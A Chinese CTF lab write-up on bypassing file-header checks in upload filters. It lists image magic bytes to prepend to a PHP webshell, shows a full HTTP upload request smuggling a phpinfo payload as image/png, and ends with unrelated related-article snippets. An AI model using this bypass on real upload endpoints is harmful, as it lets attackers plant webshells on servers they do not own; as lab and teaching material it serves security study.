后端检测_文件头检测漏洞

ops/2024/11/1 19:26:35/

把上面的文件头添加到我们的一句话木马内容最前面,达到绕过文件头检测的目的。

常见的文件头:

注意:下面的文件头的格式是16进制的格式:

GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46

给webshell添加文件头

下面我们使用md.php文件做实验,文件是一个phpinfo文件,我们把文件头添加到这个md.php中:

因为文件头是16进制的文件格式,我们需要使用C32Asm这个工具以16进制的格式打开这个文件。 点击下载C32Asm_16进制文件编辑器

下面我们给md.php文件添加文件头的效果:

png:

上传时要修改Content-Type类型为image/png,例如Content-Type: image/png

POST / HTTP/1.1
Host: challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800
Content-Length: 303
Cache-Control: max-age=0
Origin: http://challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryebapg3FUVTaPAvLs
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive------WebKitFormBoundaryebapg3FUVTaPAvLs
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/pngPNG<?php phpinfo();?>
------WebKitFormBoundaryebapg3FUVTaPAvLs
Content-Disposition: form-data; name="submit"Submit
------WebKitFormBoundaryebapg3FUVTaPAvLs--

访问文件查看,成功解析


http://www.ppmy.cn/ops/130211.html

相关文章

实用Python程序设计:第七章poj代码

047:校园食宿预订系统 n,mmap(int,input().split()) num{} price{} for i in range(m):na,pr,numap(str,input().split())num[na]int(nu)price[na]int(pr) sum0 for j in range(n):lislist(map(str,input().split()))for i in lis:if num[i]>0:num[i]num[i]-1sumprice[i] p…

Tornato入门

参考&#xff1a;https://www.w3cschool.cn/pytornado/Python Tornado 框架的终极指南&#xff01;_tornado框架-CSDN博客 安装一下tornada&#xff0c;pip install tornado 1&#xff1a;直接上手第一个程序 import tornado.ioloop import tornado.web# 创建一个处理 HTTP 请…

2024年三个月自学进阶手册 网络安全(黑客技术)

&#x1f91f; 基于入门网络安全/黑客打造的&#xff1a;&#x1f449;黑客&网络安全入门&进阶学习资源包 前言 什么是网络安全 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队”、…

【应急响应】Linux植入恶意程序排查流程

文章目录 前言一、Linux入侵检查二、Linux系统被入侵/中毒有哪些现象三、Linux系统被入侵/中毒处置过程四、Linux安全防护措施五、服务器被GetShell渗透解决办法(案例)前言 本篇文章主要是以我们日常的运维工作中对Linux服务器进行安全检查,进一步介绍如何使用具体命令来对Li…

CMFCMaskedEdit 类和CIPAddressCtrl 类

CMFCMaskedEdit 类支持掩码编辑控件&#xff0c;此控件利用掩码验证用户输入&#xff0c;并根据模板显示验证的结果。 CIPAddressCtrl 类提供 Windows 公共 IP 地址控件的功能 执行以下步骤&#xff0c;以便在应用程序中使用 CMFCMaskedEdit 控件&#xff1a; 将 CMFCMasked…

单片机串口和电脑串口连接

单片机串口和电脑串口连接&#xff1a; 先将MCU的TTL电平转换为RS232电平&#xff0c;才可以和电脑的串口DB9相连接。见下图所示&#xff1a; 翻看自己以前记录的笔记&#xff0c;真是初级到极点了。

厨艺爱好者的在线聚集地:Spring Boot实现

2 相关技术 2.1 Spring Boot框架简介 Spring Boot是由Pivotal团队提供的全新框架&#xff0c;其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置&#xff0c;从而使开发人员不再需要定义样板化的配置。通过这种方式&#xff0c;Sprin…

Selenium的下载及chrome环境搭建

Selenium的下载及环境的搭建 1.安装python环境 conda 安装python环境《略》2.在CMD在使用pip下载Selenium pip install selenium #pip安装3.下载webdriver 进入Selenium的下载界面&#xff1a;https://www.selenium.dev/downloads/ 下拉找到Browsers 4、驱动与浏览器 ht…